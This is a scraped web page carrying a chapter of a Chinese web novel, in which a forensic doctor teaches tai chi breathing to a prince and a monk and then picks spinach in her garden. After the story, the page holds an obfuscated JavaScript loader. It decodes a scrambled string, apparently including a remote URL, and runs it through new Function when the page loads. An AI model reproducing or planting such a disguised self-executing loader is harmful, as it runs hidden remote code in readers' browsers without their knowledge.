(手机请访问 m.duxs8.com); 142被吃豆腐的楚云舟
鄙视完和尚，楚凝又开始讲解：“五要意气相合，气沉丹田，就是用意与呼吸相配合，呼吸要用腹式呼吸，一吸一呼正好与动作一开一合相配。”
“腹式呼吸是？”楚云舟同学开始提问题。
“腹式呼吸就是吸气的时候扩张腹部，呼气的时候收缩腹部，胸部不要动。”楚凝做了一个腹式呼吸的示范，两名学生就有样学样。
楚凝很自然的把一只手放在楚云舟的胸部，检查他胸部有没有扩张，作为法医的她，触摸人的身体是很正常的事情（不单有尸检，还有活检哦），并且又确定了两人有着一丝丝的血缘关系，感觉就是亲人了，再说现在又是教学时间，楚凝可没想那么多。
楚云舟这边已经处于呆滞状态了，只觉得一只小手轻轻地按在他的胸口，手上的温度隔着衣服透过来，让他感觉就像是烙铁在烤一样，只觉得浑身都火辣辣的，别说腹式呼吸了，连呼吸都屏住了，那胸部自然也不动了，楚凝倒是没注意那么多，很是满意。
马上又要去检查觉慎和尚的，觉慎和尚早看见这一幕，心里头暗暗好笑，见楚凝朝他来了，忙一下子跳开，好像要触电似的，觉慎和尚心想这可使不得，否则的话，等会儿这位小皇子有的要烦了。
楚凝见他避之不及的样子，又“嘁”了一声，这和尚还真矫情。
“六要动中求静，动静结合，即肢体动而脑子静，思想要集中于打拳，所谓形动于外，心静于内；七要式式均匀，连绵不断，每一招一式的动作快慢均匀，而各式之间又是连绵不断，全身各部位肌肉舒松协调而紧密衔接。就这样！我能教你们的就这么多了，我也是略懂皮毛，这太极拳还可以延伸出太极掌、太极剑，还有推手的练习，不过我都不懂，嘻嘻！“楚凝心想，让你心痒痒去吧！
“推手？“觉慎和尚果然被吊起了胃口。
“太极推手就是以胳膊、上身为攻击部位，运用太极拳套路里面的劲气和招式以达到借力、发力，使对方身体失去平衡的一项对抗性的运动，我也只能简单解释，具体我也是不知道的，你们可以自己琢磨哦！“楚凝确实是不懂的，只是知道这个是太极拳进行实战的有效锻炼方式。
觉慎和尚若有所思。
楚凝又说道：“那四十二式的招式名称我等会儿写下来给你们。“
“不用，我已记下了！”楚云舟这时恢复过来了，淡淡地道。
“啊？！这么厉害！”就教了两遍就记下了，楚凝很是意外，不禁投去了赞赏的目光。
楚云舟虽说面上不显，但是这心里还是有些自得的。
觉慎和尚可不管这两人，自顾自的就开始练起来，奈何这边地方小，根本施展不开，眼见着觉慎和尚一只脚就要踩到地里去了。
“师傅，当心我的菜！”楚凝忙跑过去像是老鹰护小鸡一样护起来。
觉慎和尚摸摸脑袋，也不多话，飘飘然飞去山那边去练了，就剩下楚凝和楚云舟两个。
“云舟大哥，你看，这菠菜长的差不多了呢，我这就挑着拔一些，今天咱们就吃个原味的，做个蒜泥菠菜！等以后再换着花样做，保管好吃！”楚凝一边说一边开始挑一些个头大的拔起来。
楚云舟见楚凝兴致勃勃的样子，突然感觉很温馨，这大概就是平常人家过日子的样子吧！
楚凝抬头见楚云舟愣愣的样子，忙叫道：“云舟大哥！你也一起拔吧，吃自己拔的菜才香呢！挑大的，这个根也能吃的，甜甜的，一样有营养。”
楚云舟这才回过神来，撩起下摆，按照楚凝的样子也拔起来，貌似以后就这样也不错啊！
不过那也只是想想，无论是他的身份还是她的身份，都不允许他们有如此恬淡的生活啊！
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();